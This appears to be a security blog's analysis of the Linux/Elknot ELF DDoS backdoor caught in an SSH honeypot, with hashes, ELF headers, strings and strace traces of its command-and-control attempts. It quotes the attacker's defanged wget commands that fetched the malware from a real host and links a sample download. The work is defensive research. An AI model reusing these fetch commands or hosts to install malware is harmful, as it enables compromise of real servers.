Tuesday, May 13, 2014

MMD-0021-2014 - Linux/Elknot: China's ELF DDoS+backdoor

Our friend was capturing this "attacker" in his trap (thank's wirehack7), and I found it interesting + attempted to make a video to analyze its binary and to write it down in this post.

The attacker's information

We did not release the source information of the attacker before since we wanted to be sure about the source IP. Now we are sure and having some evidence about this, hence a disclosure: The attacker was coming from China network IP: connection (with the below details)

via SSH protocol to our trap, with afterward downloading the ELF malware directly from via "wget" which is also is in China IP address as per shown below, in a Chinese web server (called: HFS):

And then we know that the malware is trying to connect back to that China IP: as per hard coded in the binary. Later on, we suggest this attack is highly suspected originated from China, by Chinese actor(s), for whatever malicious purpose they after, and I think you should know about this case too.

The URL used to download the malware is as per masked below:

wget h00p:// 222.76 .210.140:81/xx64
wget h00p:// 222.76 .210.140:81/xx32
Which was served under "HFS" (Chinese Web Server) that is currently up as per below sigs:
---response begin---
HTTP/1.1 404 隆孀欺
Content-Type: text/html
Accept-Ranges: bytes
Server: HFS 2.3 beta
Now the malware "looks" removed from the server. If you see the meaning of "隆孀欺" is an interesting meaning (try to Google translate it is fun).

For me it's likely not a coincidence (like a hack cases) to see a root directory of a web service under unusual port number (81) and serving a malicious set of tools. Thank's to the good setting of the "trap", so we got all installation attempt recorded as I remade in following video and additionally, samples! :-)

As you can see in the video above, the file was successfully downloaded. The "attacker tried to download xx32 binary and failed at the beginning of the session and continuing download xx64, a 64 architecture binary, which he is not successfully running it (smile), and he tried to download the xx32 binary afterwards, which also fail to start (no comment about this).

So we have the two new binaries downloaded with the generosity of the attacker and it was uploaded in the Virus Total as per below links:

The xx32, link is here-->>[VirusTotal]

SHA256: c9430a0b8bdbb92918da25d41d33d9b1c72d0224ea5793a0e1fc2083184f3a32
File name: 20140511130222_http___222_76_210_140_81_xx32
Detection ratio: 7 / 52
Analysis date: 2014-05-11 16:48:40 UTC 
( "20 hours", 30 minutes ago )
   Avast                ELF:Farfli-B [Trj]      20140511
   CAT-QuickHeal        Linux.Elknot.E5f        20140510
   DrWeb                Linux.DDoS.1            20140511
   ESET-NOD32           Linux/Agent.H           20140511
   Ikarus               DoS.Linux.Elknot        20140511
   Kaspersky            Backdoor.Linux.Mayday.f 20140511
   Microsoft            DoS:Linux/Elknot.E      20140511

The xx64, link is here-->>[VirusTotal]

SHA256: 3f3fcfdbb211d79d18c386afa973f1182977120a1c61f774105fa9326c4192ce
File name: 20140511130124_http___222_76_210_140_81_xx64
Detection ratio: "3 / 44"
Analysis date: 2014-05-11 16:41:29 UTC 
( "20 hours", 38 minutes ago )
   Avast                ELF:Elknot-M [Trj] 20140511
   CAT-QuickHeal        Linux.Elknot.E61   20140510
   Microsoft            DoS:Linux/Elknot.E 20140511
For the further details, I share my analysis as per written in sections to come.

Binary Analysis

Snipping NIX hd command I can see the both files are ELF, in 32 and 64 bit form,

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  10 81 04 08 34 00 00 00  |............4...|
00000020  1c 0a 10 00 00 00 00 00  34 00 20 00 05 00 28 00  |........4. ...(.|
..and when firing NIX file the summary of the binary is clearly reported, I picked the 32 bit one, is self explanatory..:
xx32: ELF 32-bit LSB executable, 
Intel 80386, version 1 (SYSV), 
statically linked, for GNU/Linux 2.2.5, not stripped
for the reversing purpose I need more information, so I use my elf reader script to get some pointers like this header parts:
  Data:                              2's complement, little endian
  Entry point address:               0x8048110
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1051164 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         27
  Section header string table index: 24
To analyze the binary, the below information also I retrieved beforehand, like what program headers used:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xfd571 0xfd571 R E 0x1000
  LOAD           0x0fd574 0x08146574 0x08146574 0x02414 0x4b160 RW  0x1000
  NOTE           0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R   0x4
  TLS            0x0fd574 0x08146574 0x08146574 0x00000 0x00008 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
Below is the segment sections:
  Segment | Sections...
   00     .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table .note.ABI-tag 
   01     .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 
   02     .note.ABI-tag 
   03     .tbss
Noted there are some un-named sections..

What this binary "doesn't have" is actually very important for further analysis, like the below data:

No dynamic section in this file.
No section groups in this file.
No relocations in this file.
No unwind sections in this file.
No version information found in this file.
Interestingly, I noticed at the offset 0x000000d4 with length 0x00000020 it contains the below data..
  Owner  Data size Description
  "GNU"  0x00000010 "NT_VERSION" (version)
OMG, so we have a GNU Linux ELF with NT_VERSION here :-D

The "Symbols", is in the so-called .symtab' sections and contains 5963 entries (wow!), too long to paste here so I use pastebin here-->[MMD Pastebin].
The malware binary sample has huge unstripped strings, so I dare not uploading them all to pastebin because is just too big, but always be noted all of the below strings used for networking (name solving/DNS), which, in my opinion, the last part is showing the traces of libnss traces:

0x00E3305   0x00E3305   LOCALDOMAIN
0x00E3311   0x00E3311   /etc/resolv.conf
0x00E3322   0x00E3322   domain
0x00E3329   0x00E3329   search
0x00E3330   0x00E3330   nameserver
0x00E333B   0x00E333B   sortlist
0x00E3344   0x00E3344   options
0x00E334C   0x00E334C   RES_OPTIONS
0x00E3361   0x00E3361   multi
0x00E3367   0x00E3367   nospoof
0x00E336F   0x00E336F   spoofalert
0x00E337A   0x00E337A   reorder
0x00E338F   0x00E338F   nowarn
0x00E3396   0x00E3396   RESOLV_HOST_CONF
0x00E33A7   0x00E33A7   RESOLV_SERV_ORDER
0x00E33B9   0x00E33B9   RESOLV_SPOOF_CHECK
0x00E33CC   0x00E33CC   RESOLV_MULTI
0x00E33D9   0x00E33D9   RESOLV_REORDER
0x00E341D   0x00E341D   /etc/host.conf
0x00E342C   0x00E342C   %s: line %d: expected service, found 
0x00E3458   0x00E3458   %s: line %d: list delimiter not followed by keyword
0x00E348C   0x00E348C   %s: line %d: cannot specify more than %d services
0x00E34C0   0x00E34C0   %s: line %d: cannot specify more than %d trim domains
0x00E34F8   0x00E34F8   %s: line %d: list delimiter not followed by domain
0x00E352C   0x00E352C   %s: line %d: expected 
0x00E3543   0x00E3543   on' or '
0x00E354B   0x00E354B   off', found 
0x00E3560   0x00E3560   %s: line %d: bad command 
0x00E3580   0x00E3580   %s: line %d: ignoring trailing garbage 
0x00E35BC   0x00E35BC   aliases
0x00E35C4   0x00E35C4   ethers
0x00E35CB   0x00E35CB   netgroup
0x00E35D4   0x00E35D4   networks
0x00E35DD   0x00E35DD   passwd
0x00E35E4   0x00E35E4   protocols
0x00E35EE   0x00E35EE   publickey
0x00E35FC   0x00E35FC   services
0x00E3605   0x00E3605   shadow
0x00E360C   0x00E360C   illegal status in __nss_next
0x00E3629   0x00E3629   NOTFOUND
0x00E3632   0x00E3632   TRYAGAIN
0x00E363B   0x00E363B   CONTINUE
0x00E3644   0x00E3644   SUCCESS
0x00E364C   0x00E364C   UNAVAIL
0x00E3654   0x00E3654   RETURN
0x00E365B   0x00E365B   /etc/nsswitch.conf
0x00E366E   0x00E366E   nis [NOTFOUND=return] files
0x00E368A   0x00E368A   dns [!UNAVAIL=return] files

Thinking that I might get lucky since the binary is unstripped so I search for the source code used to build this "tool" and grabbed the filename as per below:

Since the binary is staticlaly compiled and not dynamically linked to any library, we can see some original functions coded inside of this malware, which also explained the big size in codes.

Seeking further, I found the compilation environment used:

GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)
And, as the bonus, the CNC IP address in hard coded, yaay! :-D
0x00CCC31   0x00CCC31   ""

Reversing & Trailing the assembly reversed

By seeing the cpp file names and the symbols used (see above section), half of mistery was actually "almost" solved and this file is definitely malicious. But to be sure, it's nice to trail it down in reversing mode, by any tools..anything will do, to confirm its maliciousness. Right about doing it, I got the advise that it would be nice also to make reversing video for others to learn, so I choosed IDA for this purpose because is "animated" and comprehensive :-).

In the file listed above there is the main.cpp which is suggesting me that main() function is a good place to start. You can see the video below, but noted: this is not the very details reversing (I can't make long video anyway) and is for the summary purpose, so I skim the flow in understandable way to get the whole idea. Please feel free do it yourself for getting your preferable result and focus:

As you see in the trailing the reversed code above that it grabs the environmental information (gethostname was called many times & so does open of system info files) during initiation, some networking to start operation, and then trying to establish connection to the remote IP address, to the hard coded IP address and some to the "targeted" hosts.. By the way, the hard coded IP address is the same IP where this malware was downloaded, the

Then we see this malware is demonized, listening to the socket, looping for continuing to connect operation is detected. And also reading and writing the an INI file (which they malcoder called this as "fake config" for some reason..). We can see some aggressive calls to perform the "attack" by allocating a form of data from the buffer in there. Also can be seen the function to encode the data which suggesting the CNC communication is in encrypted mode, as per shown in video, the usage the xor key used can be "utilised" to decrypt ones, had no chance to try it yet though..

Last one, the usage of some functions in libnss is suggesting the pairing in encryption, and so on.. Additionaly you'll see many interesting detail functions was used too. These functions was made so detail to run the binary as standalone purpose.

It is indeed interesting! So I was attempted further debug and make another video for debugging! Never did this before.. I hope to see the CNC communication & the effort to attack :-), please see next section.

Behavior and Network Analysis

As you see in the above sections, we know how the binary is formed and summary of the malicious operations observed in reversing, so now how does it actual current work?

Shortly, I dare myself to make video of behavior analysis I tested too :-) with the details that I will explain further, see the below:

Maybe you can not see it well in the flash where debug and running this, so let me explain also as following: The host information was grabbed by the system calls "uname()" together with the networking information (hosts, resolve.conf,etc..).

execve("./xx32", ["./xx32"], [/* 21 vars */]) = 0
uname({sys="Linux", node="xxx.xxx.xxx", ...}) = 0
getpid()                                = 13441
open("/proc/cpuinfo", O_RDONLY)         = 3
read(3, "processor\t: 0\nvendor_id\t: Genuin"..., 1024) = 375
open("/proc/stat", O_RDONLY)            = 3
read(3, "cpu  144019 163 172448 286301101"..., 1024) = 694
open("/proc/net/dev", O_RDONLY)         = 3
read(3, "Inter-|   Receive               "..., 1024) = 575
readlink("/proc/13441/exe", "/xx/xx/xx/xx32", 1024) = 38
open("/etc/resolv.conf", O_RDONLY)      = 3
read(3, "search aaa.aaa.aaa b.b.b.b"..., 4096) = 156
open("/etc/host.conf", O_RDONLY)        = 3
Usage of libnss..with the below trace:
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1623
open("/lib/libnss_files.so.2", O_RDONLY) = 3
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
And loading the system command overriding API..
open("/etc/ld.so.cache", O_RDONLY)      = 3
open("/lib/ld-linux.so.2", O_RDONLY)    = 3
Deleting the INI file if exist and creating new one:
unlink("/xx/xx/xx/xx32\\xmit.ini") = -1 ENOENT (No such file or directory)
open("/xx/xx/xx/xx32\\xmit.ini", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7bc7000
write(3, "0\r\n127.0.0.1:\r\n10000:60"..., 49) = 49
close(3)                                = 0
After spartan efforts (noted the "s") to write the INI files:
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
write(4, "\340r\24\10\0\0\0\0(\224\375\10\16\220\5\10 \224\375\10\0\0\0\200\0\0\0\0T\212\24\10"..., 148) = 148
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
--- SIGRTMIN (Unknown signal 32) @ 0 (0) ---
<... rt_sigsuspend resumed> )           = -1 EINTR (Interrupted system call)
sigreturn()                             = ? (mask now [RTMIN])
It tried to connect to the hard coded IP address mentioned.
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(5, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(5, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(5, {sa_family=AF_INET, sin_port=htons(6009), 
sin_addr=inet_addr("")}, 16) = -1 EINPROGRESS (Operation now in progress)
As you can see the snapshot of the PCAP taken....

.. the CNC was refusing the TCP handshake connection (RST,ACK). In debug codes is as per below:
setsockopt(5, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(5, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(5, "!\3\0\0\0\177\0\0\1\177\0\0\1\20\'`\352\0\0\0\0\0\0\0\0\0\0\0\0\0Li"..., 414, 0) = -1 ECONNREFUSED (Connection refused)
close(5)                                = 0
nanosleep({15, 0},
The malware, as per predicted in reversing part, is running as loop to keep on trying connecting to the mother host (after sleeps 15 secs..assuming to reset the connection), and it is now still running in my testbed with hoping to connect and see what will happen ;-)) I really look forward to gain connection it to the China IP's CNC to PoC the remote DoS attack functions stated in the writing above.


For they who want to try to test or researching this malware, you can download it here-->>[MediaFire] with the usual password. :D

Moral of the story

Linux reversing is actually fun, open source provides many good tools to disassembly and debugging any executables or libraries, do not hesitate to do it by your self!
Please take a good care of your SSH and FTP services friends! See the advice I wrote some tuning tips for sshd in the video above.
The last point is, block and, these IP addresses are not good ones, please help yourself by exclude any access from these. You won't need to access these IPs anyway :-D

You tell me, who the attacker is, IF↓:

(1) The SSH attacker IP address is from China,
(2) He downloaded from "next" China IP for malware in a China from...
(3) ..an original China made web server (HFS) runs in specific port (81) from its root directory and..
(4) if you run the malware, it'll back-connect to same China IP..
(5) ..And that IP address is hard coded in the binary!

Recent Updates of this threat

This threat is agressively improving its variant with the encryption, hiding their CNC IP address, changing CNC to non 80 port numbers, new DDoS functions, and starting to aim USA servers as their CNC instead the initial China servers they used to do. With the same MO of using HFS. Below are some tweets following their changes: